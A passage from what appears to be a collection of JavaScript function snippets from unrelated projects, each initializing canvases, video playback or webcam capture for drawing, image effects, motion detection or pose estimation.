window.currentRatio = 'strech'\n document.querySelector('.toogle-strech').click()\n }\n\n /* Starting next video from the beginning */\n timelineNode.data.videoCore.currentTime = timelineNode.data.metadata.startTime\n\n /* Updating the window.currentVideoSelectedForPlayback variable */\n window.currentVideoSelectedForPlayback = timelineNode\n\n /* Playing the next frame */\n playVideo(timelineNode)\n }\n } else {\n /* Updating the UI */\n renderUIAfterFrameChange(videoTimeline)\n\n /* Drawing at 30fps (1000 / 30 = 33,3333..)*/\n setTimeout(loop, 33.3333333) \n }\n }\n\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\n\n if (alpha1 < alpha2) {\n canvas.width = video.videoWidth + alpha1\n canvas.height = video.videoHeight\n } else {\n canvas.width = video.videoWidth\n canvas.height = video.videoHeight + alpha2\n }\n \n loop()\n video.play()\n}","function gStart() {\n\n // PREVENT DOUBLE CLICK FROM SELECTING THE CANVAS:\n\n var noSelectHTML = \"\"\n + \" \"\n ;\n var headElement = document.getElementsByTagName('head')[0];\n headElement.innerHTML = noSelectHTML + headElement.innerHTML;\n\n // ADD VIEWER ELEMENTS TO DOCUMENT\n\n var viewerHTML = \"\"\n\n + \" \"\n\n + \" \"\n +\n (isShowingRenderer\n ?\n \" \"\n + \" \"\n :\n \" \"\n + \" \"\n )\n\n + \" \"\n\n + \" \"\n\n + \" \"\n\n + \" \"\n\n + \" \"\n + \" \"\n + \" \"\n\n// + \" \"\n ;\n window.bodyElement = document.getElementsByTagName('body')[0];\n bodyElement.innerHTML = '' + viewerHTML + bodyElement.innerHTML + '';\n bodyElement.style.color = blackBackgroundColor;\n\n // SET ALL THE SCREEN-FILLING ELEMENTS TO THE SIZE OF THE SCREEN.\n\n slide.width = width();\n sketch_canvas.width = width();\n events_canvas.width = width();\n\n slide.height = height();\n sketch_canvas.height = height();\n events_canvas.height = height();\n\n background.width = width();\n background.height = height();\n background.style.backgroundColor = backgroundColor;\n\n // INITIALIZE THE SKETCH CANVAS\n\n sketch_canvas.animate = function(elapsed) { sketchPage.animate(elapsed); }\n sketch_canvas.overlay = function() { sketchPage.overlay(); }\n sketch_canvas.setup = function() {\n window.onbeforeunload = function(e) { sketchBook.onbeforeunload(e); }\n setPage(0);\n }\n\n events_canvas.keyDown = function(key) { e2s(); sketchPage.keyDown(key); }\n events_canvas.keyUp = function(key) { e2s(); sketchPage.keyUp(key); }\n events_canvas.mouseDown = function(x, y, z) { e2s(); sketchPage.mouseDown(x, y, z); }\n events_canvas.mouseDrag = function(x, y, z) { e2s(); sketchPage.mouseDrag(x, y, z); }\n events_canvas.mouseMove = function(x, y, z) { e2s(); sketchPage.mouseMove(x, y, z); }\n events_canvas.mouseUp = function(x, y, z) { e2s(); sketchPage.mouseUp (x, y, z); }\n\n fourStart();\n\n if (window['scene_div'] !== undefined) {\n scene_div.width = width();\n scene_div.height = height();\n var sceneElement = document.getElementById('scene_div');\n sceneElement.appendChild(renderer.domElement);\n }\n\n // SET SIZE OF WEBGL CANVAS\n\n webgl_canvas.width = width();\n webgl_canvas.height = height();\n\n // START WEBGL MODELER\n\n if (isPhone()) {\n sketchPadding *= 2;\n }\n\n lightTracker = new LightTracker(video_analysis_canvas);\n\n window.ctScene = new CT.Scene(webgl_canvas);\n ctScene.setLight(0, [ 1, 1, 1]);\n ctScene.setLight(1, [-1,-1,-1], [.1, .05, 0]);\n ctScene.setFOV(isPhone() ? PI / 2.5 : PI / 6);\n\n initCTPath();\n\n // START ALL CANVASES RUNNING\n\n var c = document.getElementsByTagName(\"canvas\");\n\n initEventHandlers(events_canvas);\n initSketchCanvas();\n\n // SET SIZE OF VIDEO CANVAS\n\n video_canvas.width = width();\n video_canvas.height = height();\n\n // server = new Server();\n // socket = server.connectSocket();\n\n midi = new Midi();\n\n document.title = 'Chalktalk';\n }","function init(options) {\n\t\t// sanity check\n\t\tif (!options) {\n\t\t\tthrow 'No options object provided';\n\t\t}\n\n\t\t// incoming options with defaults\n\t\tvideo = options.video || document.createElement('video');\n\t\tmotionCanvas = options.motionCanvas || document.createElement('canvas');\n\t\tcaptureIntervalTime = options.captureIntervalTime || 100;\n\t\tcaptureWidth = options.captureWidth || 640;\n\t\tcaptureHeight = options.captureHeight || 480;\n\t\tdiffWidth = options.diffWidth || 64;\n\t\tdiffHeight = options.diffHeight || 48;\n\t\tpixelDiffThreshold = options.pixelDiffThreshold || 32;\n\t\tscoreThreshold = options.scoreThreshold || 16;\n\t\tincludeMotionBox = options.includeMotionBox || false;\n\t\tincludeMotionPixels = options.includeMotionPixels || false;\n\n\t\t// callbacks\n\t\tinitSuccessCallback = options.initSuccessCallback || function() {};\n\t\tinitErrorCallback = options.initErrorCallback || function() {};\n\t\tstartCompleteCallback = options.startCompleteCallback || function() {};\n\t\tcaptureCallback = options.captureCallback || function() {};\n\n\t\t// non-configurable\n\t\tcaptureCanvas = document.createElement('canvas');\n\t\tdiffCanvas = document.createElement('canvas');\n\t\tisReadyToDiff = false;\n\n\t\t// prep video\n\t\tvideo.autoplay = true;\n\n\t\t// prep capture canvas\n\t\tcaptureCanvas.width = captureWidth;\n\t\tcaptureCanvas.height = captureHeight;\n\t\tcaptureContext = captureCanvas.getContext('2d');\n\n\t\t// prep diff canvas\n\t\tdiffCanvas.width = diffWidth;\n\t\tdiffCanvas.height = diffHeight;\n\t\tdiffContext = diffCanvas.getContext('2d');\n\n\t\t// prep motion canvas\n\t\tmotionCanvas.width = diffWidth;\n\t\tmotionCanvas.height = diffHeight;\n\t\tmotionContext = motionCanvas.getContext('2d');\n\n\t\trequestWebcam();\n\t}","initCanvas() { \n\t\tthis.canvas = document.getElementById(\"canvas\");\n\t\tthis.canvas.width = this.level.getNumBlocksRow * Block.SIZE + (2 * Sprite.SIDE_LR_WIDTH);\n\t\tthis.canvas.height = this.level.getNumBlocksColumn * Block.SIZE + (3 * Sprite.SIDE_TMD_HEIGHT) + Sprite.PANEL_HEIGHT;\n\t\tthis.ctx = this.canvas.getContext(\"2d\");\t\n\t}","constructor(sourceCanvas, resultCanvas) {\n this.source = sourceCanvas.getContext(\"2d\")\n this.result = resultCanvas.getContext(\"2d\")\n }","function CanvasInit(){\n context.fillStyle = 'white';\n context.fillRect(0,0,canvas.width, canvas.height);\n context.fillStyle = 'black';\n context.strokeStyle = 'black'\n setUpCanvas();\n clear();\n}","_initCanvas (canvas) {\n if (canvas) {\n this.canvas = canvas\n this.width = canvas.width\n this.height = canvas.height\n } else {\n this.canvas = document.createElement('canvas')\n this.canvas.width = this.width\n this.canvas.height = this.height\n this.canvas.style.width = '100%'\n this.canvas.style.height = '100%'\n this.canvas.style.imageRendering = 'pixelated'\n document.body.appendChild(this.canvas)\n }\n }","function Init() {\n // Get context handles\n CanvasHandle = document.getElementById(\"canvas\");\n CanvasHandle.width = ratioX * scale;\n CanvasHandle.height = ratioY * scale;\n ContextHandle = CanvasHandle.getContext(\"2d\");\n CanvasWidth = ContextHandle.canvas.clientWidth;\n CanvasHeight = ContextHandle.canvas.clientHeight;\n\n // Create an image backbuffer\n BackCanvasHandle = document.createElement(\"canvas\");\n BackContextHandle = BackCanvasHandle.getContext(\"2d\");\n BackCanvasHandle.width = CanvasWidth;\n BackCanvasHandle.height = CanvasHeight;\n\n // Set line style\n BackContextHandle.lineCap = \"butt\";\n BackContextHandle.lineJoin = \"round\";\n\n // Get the canvas center\n CenterX = CanvasWidth / 2;\n CenterY = CanvasHeight / 2;\n Camera = {x:0, y:0, z:1};\n}","set canvas(c){\n this._canvas = c ;\n if (c){\n this._context = c.getContext('2d') ;\n }\n }","function startVideo() {\n navigator.getUserMedia(\n { \n video: \n {\n //the ideal part is imp, it helps to get 16:9 ratio also\n height : { ideal : window.innerHeight } ,\n width : { ideal : window.innerWidth }\n } \n } ,\n stream => video.srcObject = stream,\n err => console.error(err)\n ) \n}","function initVideo() {\n log_d(\"Initializing the video subsystem\");\n\n var setVideoDev = function (devs) {\n log_d(\"Got video capture devices: \" + JSON.stringify(devs));\n var dev = '';\n $.each(devs, function (k, v) {\n dev = k;\n $('#webcamsSelect').append($(' '));\n });\n if (dev) {\n log_d(\"Using video capture device: \" + JSON.stringify(devs[dev]));\n window.configuredDevice = dev;\n service.setVideoCaptureDevice(CDO.createResponder(startLocalPreview), dev);\n } else {\n log_e(\"None video capture devices installed.\");\n }\n };\n log_d(\"Getting video capture devices\");\n service.getVideoCaptureDeviceNames(CDO.createResponder(setVideoDev));\n\n}","function demo(vid) {\n\tvar video = vid;\n\tvar demo = this;\n\tvar width = 640, height = 480;//can also use video.offsetHeight/video.offsetWidth but the value seems to change once the video actually starts.\n\tvar el = document.getElementById('demo-content');\n\t\n\tvar gui = new dat.GUI({ autoPlace: false });\n\tel.appendChild(gui.domElement);\n\t\n\tvar videoImageContext;\n\t\n\t//public variables:\n\tthis.mode = \"chromaKey\";\n\tgui.add(this, \"mode\", [\"Chroma Key\", \"Subtraction\", \"Fancy Method\"]);\n\t\n\tthis.bg_snapshot = function(){\n\t\tsnapshot();\n\t}\n\tgui.add(this, \"bg_snapshot\");\n\n\tinit();\n\t\n\tfunction init() {\n\t\tvideoImage = document.createElement( 'canvas' );\n\t\tvideoImage.width = width;\n\t\tvideoImage.height = height;\n\t\tel.appendChild( videoImage );\n\t\t\n\t\tvideoImageContext = videoImage.getContext( '2d' );\n\t\tvideoImageContext.scale(-1, 1);\n\t\tanimate();\n\t}\n\t\n\tfunction animate(){\n\t\trequestAnimationFrame( animate );\n\t\trender();\n\t}\n\t\n\tfunction drawImage(){\n\t\t//mirror the image using scale(-1, 1)\n\t\tvideoImageContext.drawImage(video, -width, 0, width, height);\n\t\t//videoImageContext.drawImage(video, 0, 0, width, height); //original method\n\t}\n\t\n\tfunction render(){\n\t\tif (video.readyState === video.HAVE_ENOUGH_DATA ){\n\t\t\tdrawImage();\n\t\t\tswitch (this.mode){\n\t\t\t\tcase 'Chroma Key':\n\t\t\t\t\tchromaKey();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Subtraction':\n\t\t\t\t\tsubtraction();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Fancy Method':\n\t\t\t\t\tfancy();\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tchromaKey();\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tvar color_ratio = 2.5, threshold = 40;\n\tfunction chromaKey() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tvar l = frame.data.length / 4;\n\t\t\n\t\tfor (var i = 0; i < l; i++) {\n\t\t\tvar pos = i*4;\n\t\t\tvar r = frame.data[pos + 0];\n\t\t\tvar g = frame.data[pos + 1];\n\t\t\tvar b = frame.data[pos + 2];\n\t\t\tif (b>r && b>g && (b>r*color_ratio || b>g*color_ratio) && b > threshold){\n\t\t\t\tframe.data[pos + 0] = 255;\n\t\t\t\tframe.data[pos + 1] = 255;\n\t\t\t\tframe.data[pos + 2] = 255;\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t}\n\t\t//renderer.clear();\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t\t//videoImageContext.clearRect(0,0,50,50);\n\t}\n\t\n\tvar old_data = [], index = 0, buffer_length = 5, std_cutoff = 40;\n\tfunction fancy() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\told_data[index] = new Uint8ClampedArray(frame.data);\n\t\t\n\t\tvar current_buffer_size = old_data.length;\n\t\tvar l = frame.data.length / 4;\n\t\tfor (var i = 0; i < l; i++) {\n\t\t\tvar pos = i*4, mean = 0;\n\t\t\tfor (var j = 0; j < current_buffer_size; j++)\n\t\t\t\tmean += (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t\t\tmean /= buffer_length;\n\t\t\t\n\t\t\tvar std = 0;\n\t\t\tfor (var j = 0; j < current_buffer_size; j++) {\n\t\t\t\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t\t\t\tstd += Math.pow(color_avg - mean, 2);\n\t\t\t}\n\t\t\tstd = Math.sqrt(std);\n\t\t\t//console.log('std: ', std);\n\t\t\t\n\t\t\tif (std < std_cutoff){\n\t\t\t\t//frame.data[pos + 0] = 255;\n\t\t\t\t//frame.data[pos + 1] = 255;\n\t\t\t\t//frame.data[pos + 2] = 255;\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t\t//frame.data[pos + 3] = Math.exp(std);\n\t\t}\n\t\t//renderer.clear();\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t\t//videoImageContext.clearRect(0,0,50,50);\n\t\tindex = (index+1)%buffer_length;\n\t\t//console.log('index: ', index);\n\t}\n\t\n\tvar snapshot_data;\n\tfunction snapshot(){\n\t\tdrawImage();\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tsnapshot_data = new Uint8ClampedArray(frame.data);\n\t}\n\t\n\tvar first = true, difference_threshold = 20, frame_length=0;\n\tfunction subtraction() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tif (first) {\n\t\t\tsnapshot();\n\t\t\tfirst = false;\n\t\t\tframe_length = frame.data.length / 4;\n\t\t}\n\t\tfor (var i = 0; i < frame_length; i++) {\n\t\t\tvar pos = i*4, r = pos, g = pos+1, b = pos+2;\n\t\t\t\n\t\t\tvar difference = Math.sqrt((Math.pow(frame.data[r]-snapshot_data[r], 2) + Math.pow(frame.data[g]-snapshot_data[g], 2) + Math.pow(frame.data[b]-snapshot_data[b], 2))/3);\n\t\t\tif (difference < difference_threshold) {\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t}\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t}\n\t\n\t//var bin_images = [], bin_counts = [], total_bins = 5, curr_bins = 0, frame_length = 0;\n\t//function subtraction() {\n\t// var frame = videoImageContext.getImageData(0, 0, width, height);\n\t// if (curr_bins < bins) {\n\t//\t\tbin_images[curr_bins] = new Uint8ClampedArray(frame.data);\n\t//\t\tcurr_bins++;\n\t//\t\tframe_length = frame.data.length / 4;\n\t//\t}\n\t// for (var i = 0; i < frame_length; i++) {\n\t//\t\tvar pos = i*4, best_bin = 0, r = pos, g = pos+1, b = pos+2;\n\t//\t\t\n\t//\t\tvar min_idx = 0, min_val = -1;\n\t//\t\tfor (var j = 0; j < curr_bins; j++){\n\t//\t\t\tvar data = possible_backgrounds[j];\n\t//\t\t\tvar difference = Math.sqrt((Math.pow(frame.data[r]-data[r], 2) + Math.pow(frame.data[g]-data[g], 2) + Math.pow(frame.data[b]-data[b], 2))/3);\n\t//\t\t\tif (difference < max_val || min_val == -1) {\n\t//\t\t\t\tmax_val = difference;\n\t//\t\t\t\tmin_idx = j;\n\t//\t\t\t}\n\t//\t\t}\n\t//\t\t\n\t//\t\t\n\t//\t\tvar std = 0;\n\t//\t\tfor (var j = 0; j < buffer_length; j++) {\n\t//\t\t\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t//\t\t\tstd += Math.pow(color_avg - mean, 2);\n\t//\t\t}\n\t//\t\tstd = Math.sqrt(std);\n\t//\t\t//console.log('std: ', std);\n\t//\t\t\n\t// if (std < std_cutoff){\n\t// //frame.data[pos + 0] = 255;\n\t// //frame.data[pos + 1] = 255;\n\t// //frame.data[pos + 2] = 255;\n\t// frame.data[pos + 3] = 0;\n\t// }\n\t//\t\t//frame.data[pos + 3] = Math.exp(std);\n\t// }\n\t// //renderer.clear();\n\t// videoImageContext.putImageData(frame, 0, 0);\n\t// //videoImageContext.clearRect(0,0,50,50);\n\t//\tindex = (index+1)%buffer_length;\n\t//\t//console.log('index: ', index);\n\t//}\n}","function canvasInit() {\n var canvas = document.getElementById(\"canvas\");\n if (canvas.getContext) {\n var ctx = canvas.getContext(\"2d\");\n ctx.fillStyle = '#444';\n ctx.font = '28px Arial';\n wrapText(ctx, \"← Start by entering a jsonline.com url on the left.\", 100, 25, 700, 50);\n step = 0;\n }\n}","function initEditorCanvas() {\n let canvas = document.getElementById('editorCanvas');\n // Resize the canvas.\n canvas.width = EDITOR_SCALE * CHR_WIDTH;\n canvas.height = EDITOR_SCALE * CHR_HEIGHT;\n\n let ctx = cmn.getContext2DNA(canvas);\n ctx.imageSmoothingEnabled = false;\n ctx.scale(EDITOR_SCALE, EDITOR_SCALE);\n\n // Canvas is white by default.\n ctx.fillStyle = 'black';\n ctx.fillRect(0, 0, CHR_WIDTH, CHR_HEIGHT);\n\n canvas.addEventListener('mousedown', function (me) { _mouseDown = true; onMouseMove(me); });\n canvas.addEventListener('mousemove', onMouseMove);\n canvas.addEventListener('mouseup', function (me) { _mouseDown = false; });\n canvas.addEventListener('mouseleave', function (me) { _mouseDown = false; });\n}","function init() {\n canvas = document.getElementById('can');\n ctx = canvas.getContext(\"2d\");\n}","function init() {\n // Put event listeners into place\n // Notice that in this specific case handlers are loaded on the onload event\n window.addEventListener('DOMContentLoaded', function() {\n // Grab elements, create settings, etc.\n var canvas = document.getElementById('canvas');\n var context = canvas.getContext('2d');\n var video = document.getElementById('video');\n var mediaConfig = {\n video: true,\n };\n var errBack = function(e) {\n console.log('An error has occurred!', e);\n };\n\n // Put video listeners into place\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\n video.srcObject = stream;\n video.onloadedmetadata = function(e) {\n video.play();\n };\n });\n }\n\n // Trigger photo take\n document.getElementById('snap').addEventListener('click', function() {\n context.drawImage(video, 0, 0, 640, 480);\n state.photoSnapped = true; // photo has been taken\n });\n\n // Trigger when upload button is pressed\n document.getElementById('upload').addEventListener('click', uploadImage);\n\n document.getElementById('search').addEventListener('click',searchPhoto);\n\n }, false);\n\n }","function main()\n{\n\t//Function to execute when a canvas is created:\n\tvar canvasLoaded = 0;\n\tvar onLoadCanvas = function()\n\t{\n\t\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\"Canvas '\" + this.getId() + \"' loaded! Mode used: \" + this.getMode()); }\n\n\t\tcanvasLoaded++;\n\n\t\t//Gets the \"context\" object to start working with the canvas:\n\t\tvar canvasContext = this.getContext();\n\t\tif (!canvasContext) { CB_console(\"ERROR: canvas context could not be obtained! Drawing cannot be performed.\"); return; }\n\n\t\t//Stores the canvas in the 'canvases' object:\n\t\tcanvases[this.getId()] = this;\n\n\t\t//If both canvas (normal and buffer) have been created, proceeds with the rendering:\n\t\tif (canvasLoaded >= 2)\n\t\t{\n\t\t\t//When the screen changes its size or its orientation, both canvases will be re-adapted:\n\t\t\tvar onResizeOrChangeOrientationTimeout = null;\n\t\t\tvar onResizeOrChangeOrientation = function()\n\t\t\t{\n\t\t\t\tclearTimeout(onResizeOrChangeOrientationTimeout);\n\t\t\t\tonResizeOrChangeOrientationTimeout = setTimeout //NOTE: needs a delay as some clients on iOS update the screen size information in two or more steps (last step is the correct value).\n\t\t\t\t(\n\t\t\t\t\tfunction()\n\t\t\t\t\t{\n\t\t\t\t\t\t//Resizes the canvas:\n\t\t\t\t\t\tcanvases[\"my_canvas\"].setWidth(CB_Screen.getWindowWidth());\n\t\t\t\t\t\tcanvases[\"my_canvas\"].setHeight(CB_Screen.getWindowHeight());\n\t\t\t\t\t\tcanvases[\"my_canvas\"].clear(); canvases[\"my_canvas\"].disableAntiAliasing();\n\t\t\t\t\t\t\n\t\t\t\t\t\t//Resizes the buffer canvas:\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].setWidth(CB_Screen.getWindowWidth());\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].setHeight(CB_Screen.getWindowHeight());\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].clear();\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].disableAntiAliasing();\n\t\t\t\t\t}\n\t\t\t\t);\n\t\t\t};\n\t\t\tCB_Screen.onResize(onResizeOrChangeOrientation);\n\n\t\t\t//Clears both canvas:\n\t\t\tcanvases[\"my_canvas\"].clear();\n\t\t\tcanvases[\"my_canvas_buffer\"].clear();\n\t\t\t\n\t\t\t//Disables anti-aliasing to avoid problems with adjacent sprites:\n\t\t\tcanvases[\"my_canvas\"].disableAntiAliasing();\n\t\t\tcanvases[\"my_canvas_buffer\"].disableAntiAliasing();\n\t\t\t\n\t\t\t//Creates the sprites groups:\n\t\t\tvar graphicSpritesSceneObject = createSpritesGroups();\n\n\t\t\t//Caches all needed images (performance purposes) and starts rendering sprites groups when all are loaded:\n\t\t\tmyREM = new CB_REM();\n\t\t\tmyREM.cacheImages\n\t\t\t(\n\t\t\t\tgraphicSpritesSceneObject, //CB_GraphicSpritesSceneObject.\n\t\t\t\tundefined, //reload.\n\t\t\t\tfunction(imagesLoaded) //onLoad.\n\t\t\t\t{\n\t\t\t\t\t//Sets the current time as the start time to start counting the FPS (erased each second automatically):\n\t\t\t\t\tmyREM._startTimeFPS = CB_Device.getTiming();\n\n\t\t\t\t\t//Show the FPS (Frames Per Second) every time there is a new value:\n\t\t\t\t\tmyREM.onUpdatedFPS(function(FPS) { graphicSpritesSceneObject.getById(\"fps_group\").getById(\"fps\").src = \"FPS: \" + FPS; });\n\t\t\t\t\t\n\t\t\t\t\t//Processes the sprites groups:\n\t\t\t\t\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\"Starts processing graphic sprites scene ('CB_GraphicSpritesScene' object) constantly...\"); }\n\t\t\t\t\t\n\t\t\t\t\tprocessSpritesGroups(graphicSpritesSceneObject, canvases[\"my_canvas\"], canvases[\"my_canvas\"].getContext(), canvases[\"my_canvas_buffer\"], canvases[\"my_canvas_buffer\"].getContext());\n\t\t\t\t}\n\t\t\t);\n\t\t}\n\t};\n\t\n\t//Creates the canvases:\n\tvar canvases = {};\n\tcanvases[\"my_canvas\"] = new CB_Canvas\n\t(\n\t\t\"my_canvas\", //canvasId. Unique required parameter.\n\t\t\"2d\", //contextType. NOTE: some emulation methods only support \"2d\". Default: \"2d\".\n\t\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\n\t\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\n\t\tonLoadCanvas, //onLoad.\n\t\tfunction(error) { CB_console(\"Canvas object problem! Error: \" + error); }, //onError.\n\t\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\n\t);\n\tcanvases[\"my_canvas_buffer\"] = new CB_Canvas\n\t(\n\t\t\"my_canvas_buffer\", //canvasId. Unique required parameter.\n\t\t\"2d\", //contextType. NOTE: some emulation methods only support \"2d\". Default: \"2d\".\n\t\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\n\t\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\n\t\tonLoadCanvas, //onLoad.\n\t\tfunction(error) { CB_console(\"Canvas object problem! Error: \" + error); }, //onError.\n\t\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\n\t);\n}","function initializeCanvas() {\n\tcanvas = document.getElementById(\"canvas\");\n\tctx = canvas.getContext(\"2d\");\n}","init() {\n const canvas = document.createElement('canvas');\n\n canvas.style.display = 'none';\n canvas.style.position = 'fixed';\n canvas.style.top = '0px';\n canvas.style.left = '0px';\n canvas.style.zIndex = '1000000';\n this.canvas = canvas;\n\n this.context = canvas.getContext('2d');\n\n document.body.appendChild(canvas);\n\n window.addEventListener('resize', (event) => this.resize());\n\n // UI events\n window.addEventListener('mousemove', (event) => this.mouseMove(event));\n window.addEventListener('mouseup', (event) => this.mouseUp(event));\n window.addEventListener('mousedown', (event) => this.mouseDown(event));\n window.addEventListener('keydown', (event) => this.keyDown(event));\n\n this.resize();\n }","function Init() {\r\n // Get context handles\r\n CanvasHandle = document.getElementById(\"canvas\");\r\n ContextHandle = CanvasHandle.getContext(\"2d\");\r\n CanvasWidth = ContextHandle.canvas.clientWidth;\r\n CanvasHeight = ContextHandle.canvas.clientHeight;\r\n\r\n // Create an image backbuffer\r\n BackCanvasHandle = document.createElement(\"canvas\");\r\n BackContextHandle = BackCanvasHandle.getContext(\"2d\");\r\n BackCanvasHandle.width = CanvasWidth;\r\n BackCanvasHandle.height = CanvasHeight;\r\n\r\n // Set line style\r\n BackContextHandle.lineCap = \"butt\";\r\n BackContextHandle.lineJoin = \"round\";\r\n BackContextHandle.strokeStyle = \"rgb(255, 255, 255)\";\r\n\r\n // Get the canvas center\r\n CenterX = CanvasWidth / 2;\r\n CenterY = CanvasHeight / 2;\r\n Camera = {x:0, y:0, r:20};\r\n}","function init() {\n redrawTIAIndicator = true;\n usePhosphor = false;\n phosphorBlendPercent = JsVideoConsts.DEFAULT_PHOSPHOR_BLEND;\n\n // Allocate buffers for two frame buffers\n jsvideo.currentFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\n previousFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\n initBackBuffer(JsVideoConsts.DEFAULT_WIDTH, JsVideoConsts.DEFAULT_HEIGHT);\n initPalettes();\n loadImages();\n jsvideo.initialize();\n }","function video() {\n\t\t$('#wrapper').fitVids();\n\t}","function paintToCanvas() {\n // first we need the width and height\n const width = video.videoWidth;\n const height = video.videoHeight;\n // make sure now that the canvas is the same size as the video before we paint into it\n canvas.width = width;\n canvas.height = height;\n\n // now ever x seconds we're going to snap a picture\n setInterval(() => {\n ctx.drawImage(video, 0, 0, width, height); // paint with the video, starting at the left top of the canvas, with the width and height specified above;\n // take the pixels out\n let pixels = ctx.getImageData(0, 0, width, height); // we get an array of millions of pixel values with each one it's own color value\n // messing with the pixels\n //pixels = redEffect(pixels); // the function redEffect is all the way down below\n pixels = rgbSplit(pixels); // I'm choosing to play with this one instead of the two other functions\n ctx.globalAlpha = 0.8;\n //pixels = greenScreen(pixels);\n // putting the pixels back back\n ctx.putImageData(pixels, 0, 0);\n }, 16); // here every 16 milliseconds a picture is taken from the video\n}","function initCanvas() {\n if(isDebugged) {\n debug.style.display = \"block\";\n } else {\n debug.style.display = \"none\";\n }\n\n console.log(\"initializing canvas\");\n\n //var canvasElement = document.querySelector(\"#canvas\");\n canvas = new fabric.Canvas(\"canvas\",{\n selection: false,\n height: canvas_initial_height,\n width: canvas_initial_width,\n backgroundColor: canvas_background_color\n });\n\n //canvas.isDrawingMode = true;\n\n canvas.on(\"mouse:down\", onMouseDownCanvas);\n\n canvas.on(\"mouse:up\", onMouseUpCanvas);\n\n canvas.on(\"mouse:move\", onMouseMoveCanvas);\n\n //updateAndSyncCanvasSize(canvas_initial_width, canvas_initial_height);\n}","function setupMedia() {\n if (supportsMedia()) {\n audioContext = new AudioContext();\n\n navigator.getUserMedia(\n {\n video: false,\n audio: true\n },\n function (localMediaStream) {\n // map the camera\n var video = document.getElementById('live_video');\n video.src = window.URL.createObjectURL(localMediaStream);\n\n // create the canvas & get a 2d context\n videoCanvas = document.createElement('canvas');\n videoContext = videoCanvas.getContext('2d');\n\n // setup audio recorder\n var audioInput = audioContext.createMediaStreamSource(localMediaStream);\n //audioInput.connect(audioContext.destination);\n // had to replace the above with the following to mute playback\n // (so you don't get feedback)\n var audioGain = audioContext.createGain();\n audioGain.gain.value = 0;\n audioInput.connect(audioGain);\n audioGain.connect(audioContext.destination);\n\n audioRecorder = new Recorder(audioInput);\n mediaStream = localMediaStream;\n mediaInitialized = true;\n\n document.getElementById('uploading').hidden = true;\n document.getElementById('media-error').hidden = true;\n document.getElementById('record').hidden = false;\n },\n function (e) {\n console.log('web-cam & microphone not initialized: ', e);\n document.getElementById('media-error').hidden = false;\n }\n );\n }\n}","function init(){\n W = canvas.width = window.innerWidth;\n H = canvas.height = window.innerHeight;\n\n // getting all the frames into the array of frames\n loadFrames();\n // creating the origin object\n origin = new Origin();\n}","function setUpCanvas() {\n /* clearing up the screen */\n clear();\n /* Set display size (vw/vh). */\n var sizeWidth = (80 * window.innerWidth) / 100,\n sizeHeight = window.innerHeight;\n //Setting the canvas site and width to be responsive\n upperLayer.width = sizeWidth;\n upperLayer.height = sizeHeight;\n upperLayer.style.width = sizeWidth;\n upperLayer.style.height = sizeHeight;\n lowerLayer.width = sizeWidth;\n lowerLayer.height = sizeHeight;\n lowerLayer.style.width = sizeWidth;\n lowerLayer.style.height = sizeHeight;\n rect = upperLayer.getBoundingClientRect();\n}","function setup() {\n createCanvas(640, 480);\n\n video = createCapture(VIDEO);\n video.size(width, height);\n\n // Create a new poseNet method with a single detection\n poseNet = ml5.poseNet(video, modelReady);\n // This sets up an event that fills the global variable \"poses\"\n // with an array every time new poses are detected\n poseNet.on('pose', function(results) {\n poses = results;\n debugger;\n });\n // Hide the video element, and just show the canvas\n video.hide();\n}","function initVideo(){\n\t\t//fit all videos in their parent container\n\t\tjQuery(\".scalevid\").fitVids();\n\t}","function initCanvasAndEditor() {\n // Editor\n initEditor();\n\n // Canvas\n canvasResizer();\n renderCanvas();\n\n // Listeners\n addListeners();\n}","run() {\n requestAnimationFrame(() => {\n this.runFrame();\n });\n\n this.output.video.run();\n\n this.running = true;\n this.paused = false;\n }","function init() \n {\n\t\t\n\t\t// initialize 